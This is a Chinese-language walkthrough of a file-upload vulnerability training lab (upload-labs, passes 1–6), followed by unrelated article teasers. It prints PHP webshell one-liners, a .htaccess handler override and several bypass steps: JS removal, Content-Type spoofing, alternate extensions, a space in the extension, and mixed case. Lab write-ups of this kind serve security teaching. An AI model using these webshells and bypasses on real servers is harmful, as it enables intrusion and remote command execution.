文件上传漏洞

pass-1

判断本关文件上传检测方式

①显示源码

本pass在客户端使用js对不合法图片进行检查!js前端检测

2、针对防御措施进行绕过上传

通过JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过:

修改JS文件;

上传png后缀的webshell,代理抓包,修改上传的文件后缀 (推荐);

禁用js。

3.实战

右键-查看元素,查看器中找到“οnsubmit="return checkFile()"”删除其值。

此时就可以上传.php文件。

通过木马文件就可以进入后台

Pass-2 文件类型检查有缺陷
1、判断本关文件上传检测方式
2、针对防御措施进行绕过上传
对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配。

绕过方式:

上传webshell.php 内容为:<?php @system($_GET['cmd']); ?>;

抓包修改上传的Content-Type 类型为允许的类型 image/jpeg;

放包,收到成功上传;

复制文件上传的路径,请求GET /upload/upload/webshell.php?cmd=whoami。

3、靶机实战

上传webshell.php 内容为:<?php @system($_GET['cmd']); ?>;

抓包修改上传的Content-Type 类型为允许的类型 image/jpeg;

放包,收到成功上传。

Pass-3 黑名单限制不完全
1、判断本关文件上传检测方式
2、针对防御措施进行绕过上传
对于黑名单限制上传文件后缀的可以通过以下几种方式绕过:

通过使用可被执行但不常见的后缀名,比如php5,shtml等等;

上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的

MIME类型;

利用后端解析差异绕过限制。

上传 webshell.php3 内容为:<?php @system($_GET['cmd']); ?>;

复制文件上传的路径,请求 GET /upload/upload/20200304.php5?cmd=whoami。

分析源码,黑名单包括了几乎所有php后缀文件,但是并没有屏蔽后缀为.htaccess的文件上传。

pass-4,判断本文件上传检测方式

分析源码,黑名单包括了几乎所有php后缀文件,但是并没有屏蔽后缀为.htaccess的文件上传

首先上传.htaccecc
<code class="language-plaintext hljs"><FilesMatch "4.png">
    SetHandler application/x-httpd-php
</FilesMatch></code>
在上述配置中,FilesMatch表示匹配4.png的文件,当该文件名匹配成功后,SetHandler表示将该文件作为PHP类型的文件来进行处置。

然后上传含有一句话木马的4.png文件。
使用远程工具连接。

pass-5

观察源码,具有强大的黑名单列表且屏蔽了后缀.htaccess文件上传,并且将后缀名自动转化为小写。

在文件后缀命中输入一个空格,此空格在上传完成后会自动消失。如5.p hp

<code class="language-plaintext hljs"><?php eval($_REQUEST[123])?> 密码:123</code>

使用远程工具连接。

pass-6

分析代码,使用了黑名单,但并没有自动转换大小写,可将文件后缀改为大小写混合绕过

修改木马文件名为:6.pHP

上传成功,复制图片url地址。使用远程工具连接。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/32435.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入Flink运行时架构:JobManager与TaskManager协作全解析

深入Flink运行时架构:JobManager与TaskManager协作全解析 一、Flink分布式执行模型剖析 1.1 运行时架构全景视图 核心组件交互关系: #mermaid-svg-tMSqMSsKP6vwUZi3 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-s…

股票-K线

一根K线记录的是某股票一个周期的价格变动情况,其周期可以分为月k线、周k线、日k线、小时线等等。 单根K线的构成要素,通常有以下几部分: 开盘价、收盘价、最高价、最低价、实体、上影线、下影线。 1、阳K线 在阳K线中, 最上端的线段为上影线,上影线的最高点为最高价,…

行为模式---策略模式

概念 策略模式是一种行为设计摸是&#xff0c;它的核心思想是将一些列的算法封装成独立的对象&#xff0c;并使它们可以相互替换&#xff0c;通过上下文进行调用。 策略模式通过算法抽象为独立的策略类&#xff0c;客户端可以根据自身需求选择不同的策略类来完成任务、这种方…

3.3.2 Proteus第一个仿真图

文章目录 文章介绍0 效果图1 新建“点灯”项目2 添加元器件3 元器件布局接线4 补充 文章介绍 本文介绍&#xff1a;使用Proteus仿真软件画第一个仿真图 0 效果图 1 新建“点灯”项目 修改项目名称和路径&#xff0c;之后一直点“下一步”直到完成 2 添加元器件 点击元…

Diffusion-Probabilistic-Models环境配置

1、相关地址 代码地址:https://github.com/Sohl-Dickstein/Diffusion-Probabilistic-Models 论文地址:https://arxiv.org/abs/2006.11239 2、python2.7 环境安装 conda create -n theano python2.7 -y conda activate theano3、包安装 下载合适的版本&#xff0c;也就是201…

机器学习(吴恩达)

一, 机器学习 机器学习定义: 计算机能够在没有明确的编程情况下学习 特征: 特征是描述样本的属性或变量&#xff0c;是模型用来学习和预测的基础。如: 房屋面积, 地理位置 标签: 监督学习中需要预测的目标变量&#xff0c;是模型的输出目标。如: 房屋价格 样本: 如: {面积100㎡…

electron 安装报错:RequestError: certificate has expired

在使用 yarn 安装 electron 时&#xff0c;报证书过期的错误。原因是以前使用的阿里的镜像已经过期&#xff0c;改成新的镜像地址就可以了。 报错信息 yarn add electron --dev yarn add v1.22.5 info No lockfile found. [1/4] Resolving packages... ⠁ (node:33196) [DEP0…

《历史代码分析》5、动态控制列表的列

​​ 本系列《历史代码分析》为工作中遇到具有代表性的代码。今天我们讲一下&#xff0c;动态展示列表的列&#xff0c;因为找不到代码了&#xff0c;所有本篇用图展示。 举个栗子 ​​ 我们希望能够动态的控制列表的列&#xff0c;例如&#xff0c;英语老师只想知道自己学…

【网络协议详解】——QOS技术(学习笔记)

目录 QoS简介 QoS产生的背景 QoS服务模型 基于DiffServ模型的QoS组成 MQC简介 MQC三要素 MQC配置流程 优先级映射配置(DiffServ域模式) 优先级映射概述 优先级映射原理描述 优先级映射 PHB行为 流量监管、流量整形和接口限速简介 流量监管 流量整形 接口限速…

处理动态分页:自动翻页与增量数据抓取策略-数据议事厅

一、案例场景 Lily&#xff08;挥舞着数据报表&#xff09;&#xff1a;“用户反馈我们的股票舆情分析总是缺失最新跟帖&#xff01;这些动态分页像狡猾的狐狸&#xff0c;每次抓取都漏掉关键数据&#xff01;” 小王&#xff08;调试着爬虫代码&#xff09;&#xff1a;“传…

练习-纪律问题(幂运算)

问题描述 一年级一班有 n 个小朋友坐成一排&#xff0c;统计了这些小朋友的爱好后&#xff0c;老师得知了他们一共有 m 种爱好&#xff0c;每个小朋友会拥有这些爱好中的一种。 如果相邻的小朋友爱好相同&#xff0c;那么他们上课时就会忍不住悄悄说话&#xff0c;违反课堂纪…

《基于机器学习的DDoS攻击检测与防御系统设计与实现》开题报告

目录 一、课题的研究目的和意义 1.1课题背景 1.2课题目的 &#xff08;1&#xff09;提高DDoS攻击检测的准确性 &#xff08;2&#xff09;加强DDoS攻击的防御能力 &#xff08;3&#xff09;提升网络安全防护的技术水平 1.3课题意义 &#xff08;1&#xff09;理论意义…

【Java项目】基于JSP的幼儿教育管理系统

【Java项目】基于JSP的幼儿教育管理系统 技术简介&#xff1a;采用JSP技术、B/S结构、MYSQL数据库等实现。 系统简介&#xff1a;幼儿教育管理系统&#xff0c;主要的模块包括查看&#xff1b;管理员&#xff1b;个人中心、用户管理、学生信息管理、班级信息管理、缴费信息管理…

如何将本地已有的仓库上传到gitee (使用UGit)

1、登录Gitee。 2、点击个人头像旁边的加号&#xff0c;选择新建仓库&#xff1a; 3、填写仓库相关信息 4、复制Gitee仓库的地址 5、绑定我们的本地仓库与远程仓库 6、将本地仓库发布&#xff08;推送&#xff09;到远程仓库&#xff1a; 注意到此处报错&#xff…

限制数据库字段长度的公用写法:length和like和rlike对于限制字段长度的原理与区别

关于数据库字段长度的探索: length和like和rlike对于限制字段长度的原理与区别lengthlike、rlikelike的_下划线通配符rlike的正则表达式regexp、regexp_like的正则表达式 length和like和rlike对于限制字段长度的原理与区别 探索之前先简单介绍下&#xff1a; length函数可以返…

LabVIEW cRIO中CSV文件的读取

在LabVIEW cRIO中读取CSV文件&#xff0c;需通过文件传输、路径配置、数据解析等步骤实现。本文详细说明如何通过代码读取本地存储的CSV文件&#xff0c;并探讨直接通过对话框选择文件的可行性及替代方案。 一、CSV文件传输至cRIO本地存储 1. 使用NI MAX文件管理 步骤&#xf…

DeepSeek-R1 论文阅读总结

1. QA问答&#xff08;我的笔记&#xff09; Q1: DeepSeek如何处理可读性问题&#xff1f; 通过构建冷启动数据&#xff08;数千条长CoT数据&#xff09;微调基础模型&#xff0c;结合多阶段训练流程&#xff08;RL训练、拒绝采样生成SFT数据&#xff09;&#xff0c;并优化输…

prometheus的动态发现(基于文件和consul)

prometheus的配置参考&#xff1a;https://prometheus.io/docs/prometheus/2.53/configuration/configuration/ 没有使用动态配置前&#xff0c;需要在 prometheus.yml 这个配置文件中创建数据采集任务&#xff0c;然后重新加载服务。 如果把采集job剥离出去&#xff0c;写在…

安卓逆向魔改版 Base64 算法还原

版权归作者所有&#xff0c;如有转发&#xff0c;请注明文章出处&#xff1a;https://cyrus-studio.github.io/blog/ 目标 app 简介 可以看到 app 中共有 4 种 Base64 算法。选中一个随机字符串&#xff0c;可以选择其中一种算法进行编码解码。 app地址&#xff1a;https://gi…

CI/CD—GitLab部署

GitLab简介&#xff1a; GitLab 是一个用于代码托管和软件开发协作的平台&#xff0c;在全球开发者社区及企业中应用广泛&#xff0c;以下是对它的详细介绍&#xff1a; 主要功能 代码托管&#xff1a;提供了基于 Git 的代码仓库管理功能&#xff0c;支持创建、克隆、推送、…